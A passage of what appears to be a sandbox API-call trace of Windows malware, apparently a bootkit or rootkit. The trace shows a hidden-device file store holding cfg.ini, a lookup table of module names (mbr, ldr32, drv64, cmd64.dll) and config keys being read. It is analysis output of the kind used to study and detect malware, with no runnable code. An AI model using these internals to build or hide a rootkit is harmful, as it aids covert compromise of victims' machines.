PriorityBoost=0) [0119.797] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.797] KeEnterCriticalRegion () [0119.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.797] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e0000 [0119.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.797] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.797] IdePortDispatch () returned 0x103 [0119.797] KeWaitForMutexObject () returned 0x0 [0119.797] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.797] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.797] IdePortDispatch () returned 0x103 [0119.797] KeWaitForMutexObject () returned 0x0 [0119.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.797] KeLeaveCriticalRegion () [0119.797] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.798] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.798] KeEnterCriticalRegion () [0119.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.798] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.798] KeLeaveCriticalRegion () [0119.798] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.798] KeEnterCriticalRegion () [0119.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.798] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.798] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcc6e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.798] KeLeaveCriticalRegion () [0119.798] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.798] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.798] KeEnterCriticalRegion () [0119.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.798] ExFreePoolWithTag (P=0xfffffa8003bccfb0, Tag=0x0) [0119.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.798] KeLeaveCriticalRegion () [0119.798] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.798] ReleaseMutex (hMutex=0xf0) returned 1 [0119.798] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.798] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.798] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.798] KeEnterCriticalRegion () [0119.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.798] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.798] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.798] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.798] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.798] IdePortDispatch () returned 0x103 [0119.799] KeWaitForMutexObject () returned 0x0 [0119.799] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.799] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.799] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.799] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.799] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.799] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaeb0 [0119.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.799] KeLeaveCriticalRegion () [0119.799] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.799] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.799] KeEnterCriticalRegion () [0119.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.799] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.799] KeLeaveCriticalRegion () [0119.799] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.799] KeEnterCriticalRegion () [0119.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.799] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.799] IdePortDispatch () returned 0x103 [0119.799] KeWaitForMutexObject () returned 0x0 [0119.799] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.799] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.800] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.800] KeEnterCriticalRegion () [0119.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.800] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e1000 [0119.800] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.800] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.800] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.800] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.800] IdePortDispatch () returned 0x103 [0119.800] KeWaitForMutexObject () returned 0x0 [0119.800] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.800] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.800] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.800] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.800] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.800] IdePortDispatch () returned 0x103 [0119.800] KeWaitForMutexObject () returned 0x0 [0119.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.800] KeLeaveCriticalRegion () [0119.800] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.801] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.801] KeEnterCriticalRegion () [0119.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.801] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.801] KeLeaveCriticalRegion () [0119.801] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.801] KeEnterCriticalRegion () [0119.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.801] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.801] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.801] KeLeaveCriticalRegion () [0119.801] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.801] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.801] KeEnterCriticalRegion () [0119.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.801] ExFreePoolWithTag (P=0xfffffa8003bcaeb0, Tag=0x0) [0119.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.801] KeLeaveCriticalRegion () [0119.801] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.801] ReleaseMutex (hMutex=0xf0) returned 1 [0119.801] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.801] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.801] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.801] KeEnterCriticalRegion () [0119.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.801] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.801] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.801] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.801] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.802] IdePortDispatch () returned 0x103 [0119.802] KeWaitForMutexObject () returned 0x0 [0119.802] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.802] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.802] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.802] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.802] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.802] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bccfb0 [0119.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.802] KeLeaveCriticalRegion () [0119.802] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.802] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.802] KeEnterCriticalRegion () [0119.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.802] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.802] KeLeaveCriticalRegion () [0119.802] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.802] KeEnterCriticalRegion () [0119.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.802] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.802] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.802] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.802] IdePortDispatch () returned 0x103 [0119.802] KeWaitForMutexObject () returned 0x0 [0119.802] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.803] KeLeaveCriticalRegion () [0119.803] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.803] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.803] KeEnterCriticalRegion () [0119.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.803] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e2000 [0119.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.803] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.803] IdePortDispatch () returned 0x103 [0119.803] KeWaitForMutexObject () returned 0x0 [0119.803] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.803] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.803] IdePortDispatch () returned 0x103 [0119.803] KeWaitForMutexObject () returned 0x0 [0119.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.803] KeLeaveCriticalRegion () [0119.803] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.804] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.804] KeEnterCriticalRegion () [0119.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.804] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.804] KeLeaveCriticalRegion () [0119.804] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.804] KeEnterCriticalRegion () [0119.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.804] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.804] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.804] KeLeaveCriticalRegion () [0119.804] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.804] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.804] KeEnterCriticalRegion () [0119.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.804] ExFreePoolWithTag (P=0xfffffa8003bccfb0, Tag=0x0) [0119.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.804] KeLeaveCriticalRegion () [0119.804] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.804] ReleaseMutex (hMutex=0xf0) returned 1 [0119.804] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.804] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.804] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.804] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.804] KeEnterCriticalRegion () [0119.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.805] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.805] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.805] IdePortDispatch () returned 0x103 [0119.806] KeWaitForMutexObject () returned 0x0 [0119.806] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.806] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.806] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.806] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.806] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.806] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.806] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.806] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.806] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.806] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.806] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.806] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.806] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.806] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.806] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.807] KeLeaveCriticalRegion () [0119.807] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.807] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.807] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.807] KeEnterCriticalRegion () [0119.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.807] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.807] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.807] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.807] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.807] IdePortDispatch () returned 0x103 [0119.807] KeWaitForMutexObject () returned 0x0 [0119.807] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.807] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.807] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.807] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.807] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.807] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.807] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.807] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.807] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.807] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.807] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.807] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.807] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.807] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.807] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.807] KeLeaveCriticalRegion () [0119.807] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.807] ReleaseMutex (hMutex=0x100) returned 1 [0119.807] Sleep (dwMilliseconds=0x2bf20) [0119.814] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a9b57d0, dwHighDateTime=0x1d24fa4)) [0119.814] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.814] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.814] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.814] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.814] KeEnterCriticalRegion () [0119.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.814] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.814] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, 